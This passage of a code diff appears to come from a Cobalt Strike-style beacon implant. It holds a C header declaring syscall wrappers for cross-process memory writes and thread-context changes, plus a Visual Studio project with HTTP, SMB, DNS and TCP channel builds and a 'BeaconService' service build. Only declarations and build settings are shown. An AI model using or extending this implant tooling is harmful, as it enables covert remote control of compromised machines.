SYSCALL_API_ENTRY ntOpenThread;
|
||||
SYSCALL_API_ENTRY ntClose;
|
||||
SYSCALL_API_ENTRY ntCreateSection;
|
||||
SYSCALL_API_ENTRY ntMapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntUnmapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntQueryVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntDuplicateObject;
|
||||
SYSCALL_API_ENTRY ntReadVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntWriteVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntReadFile;
|
||||
SYSCALL_API_ENTRY ntWriteFile;
|
||||
SYSCALL_API_ENTRY ntCreateFile;
|
||||
} SYSCALL_API, * PSYSCALL_API;
|
||||
|
||||
/* Additional Run Time Library (RTL) addresses used to support system calls.
|
||||
* If they are not set then system calls that require them will fall back
|
||||
* to the Standard Windows API.
|
||||
*
|
||||
* Required to support the following system calls:
|
||||
* ntCreateFile
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
|
||||
PVOID rtlFreeHeapAddr;
|
||||
PVOID rtlGetProcessHeapAddr;
|
||||
} RTL_API, * PRTL_API;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
PSYSCALL_API syscalls;
|
||||
PRTL_API rtls;
|
||||
} BEACON_SYSCALLS, * PBEACON_SYSCALLS;
|
||||
|
||||
BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized);
|
||||
|
||||
///* Beacon System call functions which will use the current system call method */
|
||||
LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DWORD BeaconResumeThread(HANDLE threadHandle);
|
||||
HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
|
||||
HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
|
||||
BOOL BeaconCloseHandle(HANDLE object);
|
||||
BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
|
||||
SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
|
||||
BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
|
||||
BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
|
||||
BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
|
||||
|
||||
/* Beacon User Data
|
||||
*
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*/
|
||||
|
||||
#define DLL_BEACON_USER_DATA 0x0d
|
||||
#define BEACON_USER_DATA_CUSTOM_SIZE 32
|
||||
typedef struct
|
||||
{
|
||||
unsigned int version;
|
||||
PSYSCALL_API syscalls;
|
||||
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
|
||||
PRTL_API rtls;
|
||||
PALLOCATED_MEMORY allocatedMemory;
|
||||
} USER_DATA, * PUSER_DATA;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif // __cplusplus
|
||||
|
||||
/// ADD CUSTOM
|
||||
|
||||
HMODULE proxy_LoadLibraryA(LPCSTR lpLibFileName);
|
||||
|
||||
HMODULE proxy_GetModuleHandleA(LPCSTR lpModuleName);
|
||||
|
||||
FARPROC proxy_GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
|
||||
|
||||
BOOL proxy_FreeLibrary(HMODULE hLibModule);
|
||||
|
||||
BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData);
|
||||
BOOL BeaconUnregisterThreadCallback();
|
||||
void BeaconWakeup();
|
||||
HANDLE BeaconGetStopJobEvent();
|
||||
@@ -0,0 +1,542 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug EXE|Win32">
|
||||
<Configuration>Debug EXE</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug EXE|x64">
|
||||
<Configuration>Debug EXE</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug_DNS|Win32">
|
||||
<Configuration>Debug_DNS</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug_DNS|x64">
|
||||
<Configuration>Debug_DNS</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug_SMB|Win32">
|
||||
<Configuration>Debug_SMB</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug_SMB|x64">
|
||||
<Configuration>Debug_SMB</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug_TCP|Win32">
|
||||
<Configuration>Debug_TCP</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug_TCP|x64">
|
||||
<Configuration>Debug_TCP</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release DLL|Win32">
|
||||
<Configuration>Release DLL</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release DLL|x64">
|
||||
<Configuration>Release DLL</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release EXE|Win32">
|
||||
<Configuration>Release EXE</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release EXE|x64">
|
||||
<Configuration>Release EXE</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release SVC|Win32">
|
||||
<Configuration>Release SVC</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release SVC|x64">
|
||||
<Configuration>Release SVC</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{99a5f42e-60a8-4f1e-9dff-35443b972707}</ProjectGuid>
|
||||
<RootNamespace>beacon</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='Debug EXE|x64'">
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|x64'" Label="Configuration">
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|x64'" Label="Configuration">
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|x64'" Label="Configuration">
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='Debug EXE|Win32'">
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|Win32'" Label="Configuration">
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|Win32'" Label="Configuration">
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|Win32'" Label="Configuration">
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release EXE|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release EXE|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|Win32'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|Win32'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|x64'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|x64'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug EXE|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug EXE|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<Optimization>Disabled</Optimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>MainExe</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>BUILD_SVC;SERVICE_NAME=L"BeaconService";%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>MainSvc</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>BUILD_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>DllMain</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<Optimization>Disabled</Optimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>WinMain</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>BUILD_SVC;SERVICE_NAME=L"BeaconService";%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>MainSvc</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>BUILD_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>DllMain</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug EXE|Win32'">
|
||||
<Link>
|
||||
<EntryPointSymbol>MainExe</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
<ClCompile>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|Win32'">
|
||||
<Link>
|
||||
<EntryPointSymbol>MainExe</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
<ClCompile>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|Win32'">
|
||||
<Link>
|
||||
<EntryPointSymbol>MainExe</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
<ClCompile>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|Win32'">
|
||||
<Link>
|
||||
<EntryPointSymbol>MainExe</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
<ClCompile>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug EXE|x64'">
|
||||
<Link>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
<ClCompile>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalOptions>/D DEBUG %(AdditionalOptions)</AdditionalOptions>
|
||||
<PreprocessorDefinitions>BEACON_HTTP;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|x64'">
|
||||
<Link>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
<ClCompile>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalOptions>/D DEBUG %(AdditionalOptions)</AdditionalOptions>
|
||||
<PreprocessorDefinitions>BEACON_SMB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|x64'">
|
||||
<Link>
|
||||
<EntryPointSymbol>
|
||||
